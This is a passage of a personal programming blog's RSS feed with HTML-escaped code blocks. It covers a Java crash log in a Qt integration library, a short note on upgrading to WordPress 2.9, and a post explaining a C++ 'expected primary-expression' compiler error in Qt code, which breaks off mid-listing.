&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#  SIGSEGV &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;0xb&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; at &lt;span style=&#34;color:#f4dbd6&#34;&gt;pc&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;0xb263d1f7, &lt;span style=&#34;color:#f4dbd6&#34;&gt;pid&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;20331, &lt;span style=&#34;color:#f4dbd6&#34;&gt;tid&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;3085625024&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# JRE version: 6.0\_16-b01&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# Java VM: Java HotSpot&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;TM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; Client VM &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;14.2-b01 mixed mode, sharing linux-x86 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# Problematic frame:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# C  &lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt;libQtGuiCppIntegration.so.4+0x6531f7&lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;ZN16QtCppIntegration12QLineControl18removeSelectedTextEv+0x27
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# An error report file with more information is saved as:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# /home/amit/hs&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;err&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;pid20331.log
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# If you would like to submit a bug report, please visit:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#   http://java.sun.com/webapps/bugreport/crash.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# The crash happened outside the Java Virtual Machine in native code.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;# See problematic frame &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; where to report the bug.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Upgraded to WordPress 2.9</title>
      <link>/post/2009/12/upgraded-to-wordpress-2-9/</link>
      <pubDate>Thu, 24 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/upgraded-to-wordpress-2-9/</guid>
      <description>&lt;p&gt;I just upgraded to WordPress 2.9 and wow what a pleasant experience compared to Community Server 2007! Excluding backing up the DB and the site, the actual upgrade took only a few seconds and was so painless! Such a different experience from Community Server 2007, which was so much more difficult. Loving WordPress and all the add-ins and the goodness of the communities! :mrgreen:&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Making sense of primary-expression error</title>
      <link>/post/2009/12/making-sense-of-primary-expression-error/</link>
      <pubDate>Tue, 22 Dec 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/12/making-sense-of-primary-expression-error/</guid>
      <description>&lt;p&gt;If you are new to C++ then some of the compiler errors can be a bit confusing and daunting at first. For example if the compiler given you an expected primary-expression error (e.g. expected primary-expression before ‘.’ token), at face value it does not make sense.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; RGBViewer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;accept() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    QMessageBox&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;information(&lt;span style=&#34;color:#c6a0f6&#34;&gt;this&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Button Clicked&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;You clicked OK&amp;#34;&lt;/span&gt;, QMessageBox&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;Ok);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    QColor color &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; QColor(Ui_RGBViewerClass.spinBoxRed&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;value(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            Ui_RGBViewerClass.spinBoxGreen&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;value(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            Ui_RGBViewerClass.spinBoxBlue&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;value(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f5a97f&#34;&gt;255&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    qDebug() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; color;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    QBrush &lt;span style=&#34;color:#8aadf4&#34;&gt;brush&lt;/span&gt;(color);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    brush.setStyle(Qt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;SolidPattern);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ui.graphicsView&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;setBackgroundBrush(brush);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ui.graphicsView&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;backgroundBrush();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When I compile the above code snippet, I get the following error from the compiler:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rgbviewer.&lt;span style=&#34;color:#91d7e3&#34;&gt;cpp&lt;/span&gt;: In member function &lt;span style=&#34;color:#ed8796&#34;&gt;‘&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;virtual&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; RGBViewer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;accept()&lt;span style=&#34;color:#ed8796&#34;&gt;’&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rgbviewer.&lt;span style=&#34;color:#91d7e3&#34;&gt;cpp&lt;/span&gt;:&lt;span style=&#34;color:#f5a97f&#34;&gt;19&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;error&lt;/span&gt;: expected primary&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;expression before &lt;span style=&#34;color:#ed8796&#34;&gt;‘&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;’&lt;/span&gt; token
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rgbviewer.&lt;span style=&#34;color:#91d7e3&#34;&gt;cpp&lt;/span&gt;:&lt;span style=&#34;color:#f5a97f&#34;&gt;19&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;error&lt;/span&gt;: expected primary&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;expression before &lt;span style=&#34;color:#ed8796&#34;&gt;‘&lt;/span&gt;.&lt;span style=&#34;color:#ed8796&#34;&gt;’&lt;/span&gt; token
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rgbviewer.&lt;span style=&#34;color:#91d7e3&#34;&gt;cpp&lt;/span&gt;:&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;error&lt;/span&gt;: expected primary&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;expression before &lt;span style=&#34;color:#ed8796&#34;&gt;‘&lt;/span&gt;.&lt;span style=&#34;color:#ed8796&#34;&gt;’&lt;/span&gt; token
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rgbviewer.&lt;span style=&#34;color:#91d7e3&#34;&gt;cpp&lt;/span&gt;:&lt;span style=&#34;color:#f5a97f&#34;&gt;21&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;error&lt;/span&gt;: expected primary&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;expression before &lt;span style=&#34;color:#ed8796&#34;&gt;‘&lt;/span&gt;.&lt;span style=&#34;color:#ed8796&#34;&gt;’&lt;/span&gt; token&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;All this means is that I need to initialize the type &amp;lsquo;Ui_RGBViewerClass&amp;rsquo; as the compiler does not understand it. In other words, I need to use a new.&lt;/p&gt;
&lt;p&gt;Here is the &amp;lsquo;fixed&amp;rsquo; version below of the same code snippet.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ui&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;RGBViewerClass ui; &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//Defined in the header; shown here for completness
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; RGBViewer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;accept() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    QMessageBox&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;information(&lt;span style=&#34;color:#c6a0f6&#34;&gt;this&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Button Clicked&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;You clicked OK&amp;#34;&lt;/span&gt;, QMessageBox&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;::&lt;/span&gt;Ok);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    QColor color &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; QColor(ui.spinBoxRed&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;value(),
